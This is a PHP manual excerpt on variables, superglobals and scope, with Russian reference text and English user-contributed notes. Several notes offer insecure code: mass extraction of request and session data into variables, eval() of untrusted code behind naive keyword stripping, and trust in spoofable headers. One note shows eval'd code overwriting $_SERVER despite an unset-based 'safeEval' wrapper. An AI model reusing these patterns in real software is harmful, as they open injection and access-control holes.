In this example it might be easy to find. But if you use variables to calculate some things, you might hardly find it and ask yourself why your calculation is always wrong.
With an editor that list all variable names in a separate window such "double" variables but with wrong typing can be easily found.

BTW:
It would have been better, if the PHP language would require to use some sort of keyword to define a variable the first time.
jeff dot phpnet at tanasity dot com 11-Sep-2010 04:11
This page should include a note on variable lifecycle:

Before a variable is used, it has no existence. It is unset. It is possible to check if a variable doesn't exist by using isset(). This returns true provided the variable exists and isn't set to null. With the exception of null, the value a variable holds plays no part in determining whether a variable is set.

Setting an existing variable to null is a way of unsetting a variable. Another way is variables may be destroyed by using the unset() construct.

<?php
print isset($a); // $a is not set. Prints false. (Or more accurately prints ''.)
$b = 0; // isset($b) returns true (or more accurately '1')
$c = array(); // isset($c) returns true
$b = null; // Now isset($b) returns false;
unset($c); // Now isset($c) returns false;
?>

is_null() is an equivalent test to checking that isset() is false.

The first time that a variable is used in a scope, it's automatically created. After this isset is true. At the point at which it is created it also receives a type according to the context.

<?php
$a_bool = true;   // a boolean
$a_str = 'foo';    // a string
?>

If it is used without having been given a value then it is uninitalized and it receives the default value for the type. The default values are the _empty_ values. E.g  Booleans default to FALSE, integers and floats default to zero, strings to the empty string '', arrays to the empty array.

A variable can be tested for emptiness using empty();

<?php
$a = 0; //This isset, but is empty
?>

Unset variables are also empty.

<?php
empty($vessel); // returns true. Also $vessel is unset.
?>

Everything above applies to array elements too.

<?php
$item = array();
//Now isset($item) returns true. But isset($item['unicorn']) is false.
//empty($item) is true, and so is empty($item['unicorn']

$item['unicorn'] = '';
//Now isset($item['unicorn']) is true. And empty($item) is false.
//But empty($item['unicorn']) is still true;

$item['unicorn'] = 'Pink unicorn';
//isset($item['unicorn']) is still true. And empty($item) is still false.
//But now empty($item['unicorn']) is false;
?>

For arrays, this is important because accessing a non-existent array item can trigger errors; you may want to test arrays and array items for existence with isset before using them.


Предопределённые переменные

Любому запускаемому скрипту PHP предоставляет большое количество предопределённых переменных. Однако многие из этих переменных не могут быть полностью задокументированы, поскольку они зависят от запускающего скрипт сервера, его версии и настроек, а также других факторов. Некоторые из этих переменных недоступны, когда PHP запущен из командной строки. Смотрите список зарезервированных предопределённых переменных для получения дополнительной информации.

PHP предоставляет дополнительный набор предопределённых массивов, содержащих переменные сервера (если они доступны), окружения и пользовательского ввода. Эти массивы являются особыми, поскольку они становятся глобальными автоматически - то есть, автоматически доступны в любой области видимости. По этой причине они также известны как 'автоглобальные' или 'суперглобальные' переменные. (В PHP нет механизма определяемых пользователем суперглобальных переменных.) Смотрите список суперглобальных переменных для получения дополнительной информации.

Замечание: Переменные переменных

Суперглобальные переменные не могут быть переменными переменных внутри функций или методов класса.

Если некоторые из переменных в variables_order не установлены, соответствующие им предопределённые массивы также останутся пустыми.

User Contributed Notes

root at mantoru dot de 31-Jan-2008 12:56
To tokie at hanmail dot net: You took that out of context -- it is merely a recommendation.

If your variables_order setting does not contain "E", $_ENV is still useful. Every call to getenv will be "cached" in $_ENV, so you can do this:

<?php
// variables_order = GPCS
var_dump(isset($_ENV['PATH'])); // bool(false)
getenv('PATH');
var_dump(isset($_ENV['PATH'])); // bool(true)
?>

For some reason, it does not work with with own environment variables. The above example with PHP_TEST instead of PATH would fail (if it is set via putenv).
pinkgothic at gmail dot com 20-Apr-2007 07:15
Dealing with "superglobals" and functions is not as straightforward as it may seem when you're doing plenty manipulations.

For example:

<?php
  function some_other_method() {
    echo $_REQUEST['id'];
  }
  function some_method() {
    $_REQUEST['id'] = 440;
    some_other_method();
  }
?>

Calling some_method() will cause a warning-level error by PHP informing you that "id" is not set in some_other_method(). However, if you instead use:

<?php
  $_REQUEST['id'] = 0;
  function some_other_method() {
    echo $_REQUEST['id'];
  }
  function some_method() {
    $_REQUEST['id'] = 440;
    some_other_method();
  }
?>

Then the script will echo 440.

In consequence, if you manually attempt to add keys to the superglobals, those keys *aren't* automatically superglobal. The above example isn't very sensible, of course, but this can be a huge gotcha if you're juggling user data between functions and you're unwittingly being forced to work inside a function (e.g. via PHP include in TYPO3).

Unfortunately, global $_REQUEST['id'] won't save you, either - it causes a parse error - nor will a global $_REQUEST change anything after you've set the keys... consequently making it hard to conviniently 'hack' outdated scripts by making them believe they're still running in a different environment.

The only "solution" to this issue is to use parameters.
holger at doessing dot net 02-Feb-2007 06:07
On the subject of permalinks and queries:
Say, you use an inexpensive subdomain of (e.g.) www.nice.net, thus www.very.nice.net, and that the domain owner has simply placed a frame at this particular location, linking to the actual address (ugly and subject-to-change) of your site.
Consequently, the actual site URI and various associated hashes and query strings are not immediately visible to the user. Sometimes this is useful, but it also makes bookmarking/permalinking impossible (the browser will only bookmark the static address in the top frame).
However, as far as the query strings go, there is workaround. Instead of providing users with permalinks to the actual URI (e.g. prtcl://weird.and.ugly/~very/ugly.php?stuff=here; may even be subject to change), I provide them with this: prtcl://www.very.nice.net?stuff=here.

In brief, I then use the following code to re-populate the $_GET array:

if (isset($_SERVER['HTTP_REFERER'])) { // If set, this page is running in a frame
    $uri = parse_url($_SERVER['HTTP_REFERER']); // grab URI of parent frame
    $querystring = ($uri['query']) ? $uri['query'] : false; // grab the querystring
    if ($querystring) {
        $vars = explode('&', $querystring); // cut into individual statements
        foreach ($vars as $varstring) { // populate $_GET
            $var = explode('=', $varstring);
            if (count($var) == 2) $_GET[$var[0]] = $var[1];
        }
    } // no, nothing to report from the parent frame
} // no, not using a parent frame today...

If the actual host address is ever changed, users entering the frame (with the nicer address) will be using the new (and ugly) URI, but this way the old query strings will be available to the new address also. The users will never again be bothered by you moving to another neighborhood.
Inigo Medina 05-May-2006 01:22
It is true. I usually write variables in this way: $chuckNorrisFilms. So one almost never finds problems.
johnphayes at gmail dot com 12-Apr-2006 10:36
I haven't found it anywhere else in the manual, so I'll make a note of it here - PHP will automatically replace any dots ('.') in an incoming variable name with underscores ('_'). So if you have dots in your incoming variables, e.g.:

example.com/page.php?chuck.norris=nevercries

you can not reference them by the name used in the URI:
//INCORRECT
echo $_GET['chuck.norris'];

instead you must use:
//CORRECT
echo $_GET['chuck_norris'];
DD32=theonly_DD32[&amp;]yahoo.com.au 19-Mar-2006 05:43
I have this function in my main files, it allows for easier SEO for some pages without having to rely on .htaccess and mod_rewrite for some things.
<?php
    function long_to_GET(){
        /**
        * This function converts info.php/a/1/b/2/c?d=4 TO
        * Array ( [d] => 4 [a] => 1 [b] => 2 [c] => )
        **/
        if(isset($_SERVER['PATH_INFO']) && $_SERVER['PATH_INFO'] != ''){
            //Split it out.
            $tmp = explode('/',$_SERVER['PATH_INFO']);
            //Remove first empty item
            unset($tmp[0]);
            //Loop through and apend it into the $_GET superglobal.
            for($i=1;$i<=count($tmp);$i+=2){ $_GET[$tmp[$i]] = $tmp[$i+1];}
        }
    }
?>

Its probably not the most efficient, but it does the job rather nicely.

DD32
Graeme Jefferis 13-Sep-2005 04:06
I find this sort of thing consistently useful for dealing with superglobals in safety and comfort.
<?php
foreach ($_POST as $key => $value)
{
        switch ($key)
        {
                case "submitted_var_1":
                case "submitted_var_2":
                case "submitted_var_3":
                        $$key = $value; break;

                case "dangerous_var":
                        $value = do_something_special_with($value);
                        $$key = $value;
                        break;
        }
}
?>
webdesign at benking dot com 29-Aug-2005 02:33
# this is a follow-up to kasey at cornerspeed's 14-Jun-2004 08:33 post and debabratak at softhome's 14-Mar-2003 12:59 post, minus sessions but including a safety mechanism to block unwanted variables...

# if you are like me and do not want to have to type $_POST[some_var] to get to all your passed variable data, you can safely convert all the data to the variable names (so it is like old style php) by using a pre-defined allowed arg names list like this;

$allowed_args = ',f_name,l_name,subject,msg,';

foreach(array_keys($_POST) as $k) {
    $temp = ",$k,";
    if(strpos($allowed_args,$temp) !== false) { $$k = $_POST[$k]; }
}

# then you can use the programmer friendly (less typing) vars like so;
echo "Hello $f_name";

# make sure you have commas in front of and after each var name in the $allowed_args list, so strpos will never surprise you by mistakingly finding an unwanted var name within another var name
myfirstname dot barros at gmail dot com 27-Apr-2005 07:10
vars in $_REQUEST are *not* a reference to the respective $_POST and $_GET and $_COOKIE ones.

Consider:
http://site.com/index.php?avar=abc

index.php:
<?php
$_GET['avar'] = 'b';
print_r($_GET); print('<br>');
print_r($_REQUEST);
?>

output:
Array ( [avar] => 'b' )
Array ( [avar] => 'abc' )
sendoshin[at]noodleroni[dot]com 26-Apr-2005 05:58
There is one way to safely execute PHP code files without running the risk of compromising your own code.  A prior note pointed out that the code being evaluated would still have access to globals using the global keyword.  While this is a valid point, there's one other approach to be looked at - one which actually gives you much more ability than just unsetting some variable references.  It's known as code parsing.

The specifics would be different and much more complex in a deployed site, but here's an extremely strip-down example of how to restrict access to global variables:

<?php
    while ($x = stristr ($code_to_eval, "global")) {
        $temp = substr ($code_to_eval, 1, $x-1);
        $temp .= substr ($code_to_eval, stristr ($code_to_eval, ";", $x) + 1);
        $code_to_eval = $temp;
    }
    $ret_val = eval ($code_to_eval);
?>

Of course, that's just a rudimentary example, and a deployment version would have much more checking involved, but parsing the file before you eval it lets you remove any code you don't want to let run, thus making it as safe as your parsing rules.
kasey at cornerspeed dowt com 14-Jun-2004 05:33
I have a few points to note to (debabratak at softhome dot net).  Firstly, extracting all your variables from the global variable arrays is rather cumbersome and possibly unsafe.  This causes longer run times, and wastes more memory.  Then, your script is starting the session before it parses the superglobals.  Bad things can happen because of this:

<?php

// user sent a GET header with key = secret_access, val = true, so

echo $_GET["secret_access"]; // output: true
echo $secret_access; // output:

session_start();

// in previous logic, you set session variable $secret_access = false

echo $_SESSION["secret_access"]; // output: false
echo $secret_access; // output: false

extract_globals();  // Globals put into "normal" variables

echo $_GET["secret_access"]; // output: true
echo $_SESSION["secret_access"]; // output: false
echo $secret_access; // output: true

// VARIABLES ARE COMPROMISED!
// DO NOT USE $secret_access !
// USE $_SESSION["secret_access"] instead !!!

?>

Secondly, I would like to point out the fact that all $_POST, $_GET, and $_COOKIE variables are intrinsically unsafe anyway.  Users can create their own scripts in the language of their choosing (PHP, ASP, JSP, etc.) that generate those headers to send to your PHP program via socket connections.  PHP cannot determine that these headers are any less valid than the ones sent by a web browser, so it parses them and places them in the $_POST, $_GET, or $_COOKIE variables.

The best practice is to use $_SESSION variables to validate the user before making any decisions based on form data.  e.g.:

<?php
session_start();
if (isset($_SESSION["valid"]))
{
    // all your program decisions and database interactions can go here
    if (isset($_POST["button_name"]))
    {
        ...
    }
    ...
}
elseif (isset($_POST["submit_login"]))
{
    if (($_POST["username"] == "foo") AND ($_POST["password"] == "bar"))
    {
        $_SESSION["valid"] = true;
        ...
    }
    else
    {
        session_unset();
        session_destroy();
        $error_msg = "Invalid username or password";
        $result_page = "login.php";
    }
}
elseif (isset($logoff))
{
    session_unset();
    session_destroy();
    $success_msg = "You have logged off successfully";
    $result_page = "login.php";
}
else
{
    session_unset();
    session_destroy();
    $result_page = "login.php";
}
require ($result_page);
?>

Session variables are orders of magnitude harder to compromise than POST, GET, and COOKIE data, since the server keeps track of session id's, and the session id is unique to each client and somewhat randomly generated.  If security is an ultimate concern, then you need to use SSL in case your traffic can be sniffed (since the session cookie is passed plain text to the client).

In summary, extracting out all the superglobals to normal variable names is not a good idea for reasons of security and ambiguity, not to mention wasted CPU cycles.  For private applications (ones that you don't want just anyone to be able to access), the only ways you can prevent malicious access is to 1) use sessions to ensure that the user is valid (for that page), and 2) use SSL-encryption to prevent session-hijacking.

Kasey

in reply to:
--------------------------------------------------------------
 debabratak at softhome dot net
14-Mar-2003 12:59
After having register_globals = off, I am using the following piece of code to get all the variables created for me. I have put this code in a separate file and just make it require_once() on top of every page.

session_start();
$ArrayList = array("_GET", "_POST", "_SESSION", "_COOKIE", "_SERVER");
foreach($ArrayList as $gblArray)
{
   $keys = array_keys($$gblArray);
   foreach($keys as $key)
   {
       $$key = trim(${$gblArray}[$key]);
   }
}

This pulls out all the possible variables for me, including the predefined variables, so I can keep coding the old style. Note that, this code does not handle the $_FILE.

Hope this helps someone.
bryan at nolifeline dot com 10-May-2004 12:07
to marcbender at mail dot com

unset the globals

use a preg_replace ( pattern: |\;[^\;]*$i[^\;]*\;|Uis, replacement: ";", where $i is the name of any function/variable you wish to prevent access to.) on the code-to-be-evaled.  ideas are "global", "fopen", "mysql_connect", etc.  You know, anything that you wouldn't want to give a hyperactive 13 year old access to.

execute the code.
marcbender_AT_mail_DOT_com 18-Apr-2004 02:23
-Security issue-

In response to lopez at yellowspace,

You provided a method for executing potentially unsafe code:

> function safeEval($evalcode) {
>    unset($GLOBALS);
>    unset($_ENV);
>    // unset any other superglobal...
>    return eval($evalcode);
> }

Your method, though clever, won't work.  The problem is the way that PHP handles function scope.  If $evalcode contains a function declaration, and runs that function, the "unset"s will be effectively useless inside the body of that function.

Try running the above code with $evalcode set as follows:

<?php
$evalcode='f();
function f() {
   $GLOBALS["_SERVER"] = "compromised";
}';
?>

Then print $_SERVER and see what you get.

Another problem is that the "global" directive will always grant access to global variables.  Try this one:

<?php
$evalcode='global $a;
$a = "compromised";';
?>

$a will of course be changed at the global level.  I don't know if it's supposed to work this way, but on my system (PHP 4.3.4) you can do the same to any superglobal by importing it using "global".

As far as I can tell, there is NO way to execute potentially unsafe code without a lot of risk.  With the sloppy way that PHP deals with function scope etc., there isn't much hope that it ever will be.  What we'd need is (at least):
  - a way to disable the "global" directive (restrictive eval).
  - a way to shut off any write-access to superglobals within untrusted functions.

The first wouldn't be too hard to implement.  The second, on the other hand, is practically impossible IMHO.
joker at vip dot hr 08-Sep-2003 07:42
If anyone of you have a problem with uploading files with globals off here is the solution... just add this to the top of the code:

reset ($_FILES);
while (list ($key, $val) = each ($_FILES)) {
    ${$key}=$_FILES[$key]['tmp_name'];
    while (list ($key1, $val1) = each ($val)) {
        ${$key."_".$key1}=$_FILES[$key][$key1];
    }
}

   Daniel
01-May-2003 09:06
In reply to destes at ix dot netcom dot com dot nospam:

It's possible for a HTTP client to spoof HTTP_X_FORWARDED_FOR, and set it to a fake IP number.  It's more secure to use this code and log BOTH the ip and the proxy ip.

if ($_SERVER["HTTP_X_FORWARDED_FOR"]) {
   if ($_SERVER["HTTP_CLIENT_IP"]) {
    $proxy = $_SERVER["HTTP_CLIENT_IP"];
  } else {
    $proxy = $_SERVER["REMOTE_ADDR"];
  }
  $ip = $_SERVER["HTTP_X_FORWARDED_FOR"];
} else {
  if ($_SERVER["HTTP_CLIENT_IP"]) {
    $ip = $_SERVER["HTTP_CLIENT_IP"];
  } else {
    $ip = $_SERVER["REMOTE_ADDR"];
  }
}

echo "Your IP $ip<BR>\n";
if (isset($proxy)) {
  echo "Your proxy IP is $proxy<BR>\n";
}
LouisGreen at pljg dot freeserve dot co dot uk 25-Mar-2003 10:22
It seems that when you wish to export a varible, you can do it as return $varible, return an array(), or globalise it. If you return something, information for that varible can only travel one way when the script is running, and that is out of the function.

function fn() {
   $varible = "something";

  return $variable;
}

echo fn();
OR
$newvariable = fn();

Although if global was used, it creates a pointer to a varible, whether it existed or not, and makes whatever is created in the function linked to that global pointer. So if the pointer was global $varible, and then you set a value to $varible, it would then be accessible in the global scope. But then what if you later on in the script redefine that global to equal something else. This means that whatever is put into the global array, the information that is set in the pointer, can be set at any point (overiden). Here is an example that might make this a little clearer:

function fn1() {

   global $varible; // Pointer to the global array
   $varible = "something";
}

fn1();
echo $varible; // Prints something
$varible = "12345";
echo $varible; // Prints 12345

function fn2() {

   global $varible; // Pointer to the global array
   echo $varible;
}

fn2(); // echos $varible which contains "12345"

Basically when accessing the global array, you can set it refer to something already defined or set it to something, (a pointer) such as varible you plan to create in the function, and later possibly over ride the pointer with something else.
Good Liam 19-Mar-2003 09:18
Warning:
If you use dynamic variables in a local scope, the variable doesn't "know" when it should be a superglobal.  An example will help elucidate this:

function Example($Variable_Name='_POST') {
    print_r($$Variable_Name);
} // End Example

This would print out

NULL

To use a dynamic variable to reference a superglobal, you have to declare the value (not the name) as a global:

function WorkingExample($Variable_Name='_POST') {
    global $$Variable_Name;
    print_r($$Variable_Name);
} // End WorkingExample()

This would print out the contents of your $_POST variable.

This threw me when I first tried it, but it makes sense, in a way.
lopez dot on dot the dot lists at yellowspace dot net 17-Jan-2003 06:11
- Security Issue and workaround -
If You use "eval()" to execute code stored in a database or elsewhere, you might find this tip useful.

Issue:
By default, all superglobals are known in every function.
Thus, if you eval database- or dynamically generated code (let's call it "potentially unsafe code"), it can use _all_ the values stored in _any_ superglobal.

Workaround:
Whenever you want to hide superglobals from use in evaluated code, wrap that eval() in an own function within which you unset() all the superglobals. The superglobals are not deleted by php in all scopes - just within that function. eg:

function safeEval($evalcode) {
    unset($GLOBALS);
    unset($_ENV);
    // unset any other superglobal...
    return eval($evalcode);
}

(This example assumes that the eval returns something with 'return')

In addition, by defining such a function outside classes, in the global scope, you'll make sure as well that the evaluated ('unsafe') code doesn't have access to the object variables ($this-> ...).
08-Jul-2002 01:46
Wouldn't it be great if there was a variable called $_SERVER["PATH_USERHOME"]. Here is how to set it yourself:

$path_fs = split ("/", ltrim ($_SERVER["PATH_TRANSLATED"], "/"));
$path_fs_rev = array_reverse ($path_fs);

$path_http = split ("/", ltrim ($_SERVER["PHP_SELF"], "/"));
$path_http_rev = array_reverse ($path_http);

$num_same = 0;
while ($path_fs_rev[$num_same] == $path_http_rev[$num_same]) {
    $num_same++;
}

$path_userhome = array ();
$numdirs_userhome = sizeof ($path_http) - $num_same;
echo $numdirs_userhome;

for ($i = 0; $i < $numdirs_userhome; $i++) {
    array_push ($path_userhome, $path_http[$i]);
}

$_SERVER["PATH_USERHOME"] = "/" . implode ("/", $path_userhome) . "/";

print_r ($_SERVER["PATH_USERHOME"]);

;) Happy programming,

Peder
mike at dbeat dot com 22-Nov-2000 06:30
If you're running PHP as a shell script, and you want to use the argv and argc arrays to get command-line arguments, make sure you have register_argc_argv  =  on.  If you're using the 'optimized' php.ini, this defaults to off.


Область видимости переменной

Область видимости переменной - это контекст, в котором эта переменная определена. В большинстве случаев все переменные PHP имеют только одну область видимости. Эта единая область видимости охватывает также включаемые (include) и требуемые (require) файлы. Например:

<?php
$a = 1;
include 'b.inc';
?>

Здесь переменная $a будет доступна внутри включённого скрипта b.inc. Однако определение (тело) пользовательской функции задаёт локальную область видимости данной функции. Любая используемая внутри функции переменная по умолчанию ограничена локальной областью видимости функции. Например:

<?php
$a = 1; /* глобальная область видимости */

function test()
{
echo $a; /* ссылка на переменную в локальной области видимости */
}

test();
?>

Этот скрипт выдаст диагностику неопределённой переменной E_WARNING (или E_NOTICE до версии PHP 8.0.0). Однако если в настройках INI display_errors установлено скрытие такой диагностики, то ничего выводиться не будет. Это связано с тем, что оператор echo указывает на локальную версию переменной $a, а в пределах этой области видимости ей не было присвоено значение. Возможно вы заметили, что это немного отличается от языка C в том, что глобальные переменные в C автоматически доступны функциям, если только они не были перезаписаны локальным определением. Это может вызвать некоторые проблемы, поскольку люди могут нечаянно изменить глобальную переменную. В PHP, если глобальная переменная будет использоваться внутри функции, она должна быть объявлена глобальной внутри определения функции.

Ключевое слово global

Сначала пример использования global:

Пример #1 Использование global

<?php
$a = 1;
$b = 2;

function Sum()
{
global $a, $b;

$b = $a + $b;
}

Sum();
echo $b;
?>

Вышеприведённый скрипт выведет 3. После определения $a и $b внутри функции как global все ссылки на любую из этих переменных будут указывать на их глобальную версию. Не существует никаких ограничений на количество глобальных переменных, которые могут обрабатываться функцией.

Второй способ доступа к переменным глобальной области видимости - использование специального, определяемого PHP массива $GLOBALS. Предыдущий пример может быть переписан так:

Пример #2 Использование $GLOBALS вместо global

<?php
$a = 1;
$b = 2;

function Sum()
{
$GLOBALS['b'] = $GLOBALS['a'] + $GLOBALS['b'];
}

Sum();
echo $b;
?>

$GLOBALS - это ассоциативный массив, ключом которого является имя, а значением - содержимое глобальной переменной. Обратите внимание, что $GLOBALS существует в любой области видимости, это объясняется тем, что $GLOBALS является суперглобальным. Ниже приведён пример, демонстрирующий возможности суперглобальных переменных:

Пример #3 Суперглобальные переменные и область видимости

<?php
function test_superglobal()
{
echo $_POST['name'];
}
?>

Замечание:

Использование ключевого слова global вне функции не является ошибкой. Оно может быть использовано в файле, который включается внутри функции.

Использование статических (static) переменных

Другой важной особенностью области видимости переменной является статическая переменная. Статическая переменная существует только в локальной области видимости функции, но не теряет своего значения, когда выполнение программы выходит из этой области видимости. Рассмотрим следующий пример:

Пример #4 Демонстрация необходимости статических переменных

<?php
function test()
{
$a = 0;
echo $a;
$a++;
}
?>

Эта функция довольно бесполезна, поскольку при каждом вызове она устанавливает $a в 0 и выводит 0. Инкремент переменной $a++ здесь не играет роли, так как при выходе из функции переменная $a исчезает. Чтобы написать полезную функцию подсчёта, которая не будет терять текущего значения счётчика, переменная $a объявляется как static:

Пример #5 Пример использования статических переменных

<?php
function test()
{
static $a = 0;
echo $a;
$a++;
}
?>

Теперь $a будет проинициализирована только при первом вызове функции, а каждый вызов функции test() будет выводить значение $a и инкрементировать его.

Статические переменные также дают возможность работать с рекурсивными функциями. Рекурсивной является функция, вызывающая саму себя. При написании рекурсивной функции нужно быть внимательным, поскольку есть вероятность сделать рекурсию бесконечной. Вы должны убедиться, что существует адекватный способ завершения рекурсии. Следующая простая функция рекурсивно считает до 10, используя для определения момента остановки статическую переменную $count:

Пример #6 Статические переменные и рекурсивные функции

<?php
function test()
{
static $count = 0;

$count++;
echo $count;
if ($count < 10) {
test();
}
$count--;
}
?>

Статическим переменным можно присвоить значения, являющиеся результатом выражения, но нельзя использовать для этого функцию, так это вызовет ошибку разбора.

Пример #7 Объявление статических переменных

<?php
function foo() {
static $int = 0; // верно
static $int = 1+2; // верно
static $int = sqrt(121); // неверно (поскольку это функция)

$int++;
echo $int;
}
?>

Начиная с PHP 8.1.0, когда метод, использующий статические переменные, наследуется (но не переопределяется), унаследованный метод теперь будет использовать статические переменные совместно с родительским методом. Это означает, что статические переменные в методах теперь ведут себя так же, как статические свойства.

Пример #8 Использование статических переменных в унаследованных методах

<?php
class Foo {
public static function counter() {
static $counter = 0;
$counter++;
return $counter;
}
}
class Bar extends Foo {}
var_dump(Foo::counter()); // int(1)
var_dump(Foo::counter()); // int(2)
var_dump(Bar::counter()); // int(3), до PHP 8.1.0 int(1)
var_dump(Bar::counter()); // int(4), до PHP 8.1.0 int(2)
?>

Замечание:

Статические объявления вычисляются во время компиляции скрипта.

Ссылки с глобальными (global) и статическими (static) переменными

PHP использует модификаторы переменных static и global как ссылки. Например, реальная глобальная переменная, внедрённая в область видимости функции указанием ключевого слова global, в действительности создаёт ссылку на глобальную переменную. Это может привести к неожиданному поведению, как это показано в следующем примере:

<?php
function test_global_ref() {
global $obj;
$new = new stdClass;
$obj = &$new;
}

function test_global_noref() {
global $obj;
$new = new stdClass;
$obj = $new;
}

test_global_ref();
var_dump($obj);
test_global_noref();
var_dump($obj);
?>

Результат выполнения данного примера:

NULL
object(stdClass)#1 (0) {
}

Аналогично ведёт себя и выражение static. Ссылки не хранятся статично:

<?php
function &get_instance_ref() {
static $obj;

echo 'Статический объект: ';
var_dump($obj);
if (!isset($obj)) {
$new = new stdClass;
// Присвоить ссылку статической переменной
$obj = &$new;
}
if (!isset($obj->property)) {
$obj->property = 1;
} else {
$obj->property++;
}
return $obj;
}

function &get_instance_noref() {
static $obj;

echo 'Статический объект: ';
var_dump($obj);
if (!isset($obj)) {
$new = new stdClass;
// Присвоить объект статической переменной
$obj = $new;
}
if (!isset($obj->property)) {
$obj->property = 1;
} else {
$obj->property++;
}
return $obj;
}

$obj1 = get_instance_ref();
$still_obj1 = get_instance_ref();
echo "\n";
$obj2 = get_instance_noref();
$still_obj2 = get_instance_noref();
?>

Результат выполнения данного примера:

Статический объект: NULL
Статический объект: NULL

Статический объект: NULL
Статический объект: object(stdClass)#3 (1) {
  ["property"]=>
  int(1)
}

Этот пример демонстрирует, что при присвоении ссылки статической переменной она не запоминается, когда вы вызываете функцию &get_instance_ref() во второй раз.

User Contributed Notes

dexen dot devries at gmail dot com 06-Mar-2017 03:54
If you have a static variable in a method of a class, all DIRECT instances of that class share that one static variable.

However if you create a derived class, all DIRECT instances of that derived class will share one, but DISTINCT, copy of that static variable in method.

To put it the other way around, a static variable in a method is bound to a class (not to instance). Each subclass has own copy of that variable, to be shared among its instances.

To put it yet another way around, when you create a derived class, it 'seems  to' create a copy of methods from the base class, and thusly create copy of the static variables in those methods.

Tested with PHP 7.0.16.

<?php

require 'libs.php';
require 'setup.php';

class Base {
    function test($delta = 0) {
        static $v = 0;
        $v += $delta;
        return $v;
    }
}

class Derived extends Base {}

$base1 = new Base();
$base2 = new Base();
$derived1 = new Derived();
$derived2 = new Derived();

$base1->test(3);
$base2->test(4);
$derived1->test(5);
$derived2->test(6);

var_dump([ $base1->test(), $base2->test(), $derived1->test(), $derived2->test() ]);

# => array(4) { [0]=> int(7) [1]=> int(7) [2]=> int(11) [3]=> int(11) }

# $base1 and $base2 share one copy of static variable $v
# derived1 and $derived2 share another copy of static variable $v
gried at NOSPAM dot nsys dot by 16-Jan-2016 09:12
In fact all variables represent pointers that hold address of memory area with data that was assigned to this variable. When you assign some variable value by reference you in fact write address of source variable to recepient variable. Same happens when you declare some variable as global in function, it receives same address as global variable outside of function. If you consider forementioned explanation it's obvious that mixing usage of same variable declared with keyword global and via superglobal array at the same time is very bad idea. In some cases they can point to different memory areas, giving you headache. Consider code below:

<?php

error_reporting(E_ALL);

$GLOB = 0;

function test_references() {
    global $GLOB; // get reference to global variable using keyword global, at this point local variable $GLOB points to same address as global variable $GLOB
    $test = 1; // declare some local var
    $GLOBALS['GLOB'] = &$test; // make global variable reference to this local variable using superglobal array, at this point global variable $GLOB points to new memory address, same as local variable $test

    $GLOB = 2; // set new value to global variable via earlier set local representation, write to old address

    echo "Value of global variable (via local representation set by keyword global): $GLOB <hr>";
    // check global variable via local representation => 2 (OK, got value that was just written to it, cause old address was used to get value)

    echo "Value of global variable (via superglobal array GLOBALS): $GLOBALS[GLOB] <hr>";
    // check global variable using superglobal array => 1 (got value of local variable $test, new address was used)

    echo "Value ol local variable \$test: $test <hr>";
    // check local variable that was linked with global using superglobal array => 1 (its value was not affected)

    global $GLOB; // update reference to global variable using keyword global, at this point we update address that held in local variable $GLOB and it gets same address as local variable $test
    echo "Value of global variable (via updated local representation set by keyword global): $GLOB <hr>";
    // check global variable via local representation => 1 (also value of local variable $test, new address was used)
}

test_references();
echo "Value of global variable outside of function: $GLOB <hr>";
// check global variable outside function => 1 (equal to value of local variable $test from function, global variable also points to new address)
?>
dodothedreamer at gmail dot com 25-Sep-2011 11:56
Note that unlike Java and C++, variables declared inside blocks such as loops or if's, will also be recognized and accessible outside of the block, so:
<?php
for($j=0; $j<3; $j++)
{
     if($j == 1)
        $a = 4;
}
echo $a;
?>

Would print 4.
andrew at planetubh dot com 03-Feb-2009 12:16
Took me longer than I expected to figure this out, and thought others might find it useful.

I created a function (safeinclude), which I use to include files; it does processing before the file is actually included (determine full path, check it exists, etc).

Problem: Because the include was occurring inside the function, all of the variables inside the included file were inheriting the variable scope of the function; since the included files may or may not require global variables that are declared else where, it creates a problem.

Most places (including here) seem to address this issue by something such as:
<?php
//declare this before include
global $myVar;
//or declare this inside the include file
$nowglobal = $GLOBALS['myVar'];
?>

But, to make this work in this situation (where a standard PHP file is included within a function, being called from another PHP script; where it is important to have access to whatever global variables there may be)... it is not practical to employ the above method for EVERY variable in every PHP file being included by 'safeinclude', nor is it practical to staticly name every possible variable in the "global $this" approach. (namely because the code is modulized, and 'safeinclude' is meant to be generic)

My solution: Thus, to make all my global variables available to the files included with my safeinclude function, I had to add the following code to my safeinclude function (before variables are used or file is included)

<?php
foreach ($GLOBALS as $key => $val) { global $$key; }
?>

Thus, complete code looks something like the following (very basic model):

<?php
function safeinclude($filename)
{
    //This line takes all the global variables, and sets their scope within the function:
    foreach ($GLOBALS as $key => $val) { global $$key; }
    /* Pre-Processing here: validate filename input, determine full path
        of file, check that file exists, etc. This is obviously not
        necessary, but steps I found useful. */
    if ($exists==true) { include("$file"); }
    return $exists;
}
?>

In the above, 'exists' & 'file' are determined in the pre-processing. File is the full server path to the file, and exists is set to true if the file exists. This basic model can be expanded of course.  In my own, I added additional optional parameters so that I can call safeinclude to see if a file exists without actually including it (to take advantage of my path/etc preprocessing, verses just calling the file exists function).

Pretty simple approach that I could not find anywhere online; only other approach I could find was using PHP's eval().
larax at o2 dot pl 22-Mar-2006 03:38
About more complex situation using global variables..

Let's say we have two files:
a.php
<?php
    function a() {
        include("b.php");
    }
    a();
?>

b.php
<?php
    $b = "something";
    function b() {
        global $b;
        $b = "something new";
    }
    b();
    echo $b;
?>

You could expect that this script will return "something new" but no, it will return "something". To make it working properly, you must add global keyword in $b definition, in above example it will be:

global $b;
$b = "something";
warhog at warhog dot net 13-Dec-2005 12:22
Some interesting behavior (tested with PHP5), using the static-scope-keyword inside of class-methods.

<?php

class sample_class
{
  public function func_having_static_var($x = NULL)
  {
    static $var = 0;
    if ($x === NULL)
    { return $var; }
    $var = $x;
  }
}

$a = new sample_class();
$b = new sample_class();

echo $a->func_having_static_var()."\n";
echo $b->func_having_static_var()."\n";
// this will output (as expected):
//  0
//  0

$a->func_having_static_var(3);

echo $a->func_having_static_var()."\n";
echo $b->func_having_static_var()."\n";
// this will output:
//  3
//  3
// maybe you expected:
//  3
//  0

?>

One could expect "3 0" to be outputted, as you might think that $a->func_having_static_var(3); only alters the value of the static $var of the function "in" $a - but as the name says, these are class-methods. Having an object is just a collection of properties, the functions remain at the class. So if you declare a variable as static inside a function, it's static for the whole class and all of its instances, not for each object.

Maybe it's senseless to post that.. cause if you want to have the behaviour that I expected, you can simply use a variable of the object itself:

<?php
class sample_class
{ protected $var = 0;
  function func($x = NULL)
  { $this->var = $x; }
} ?>

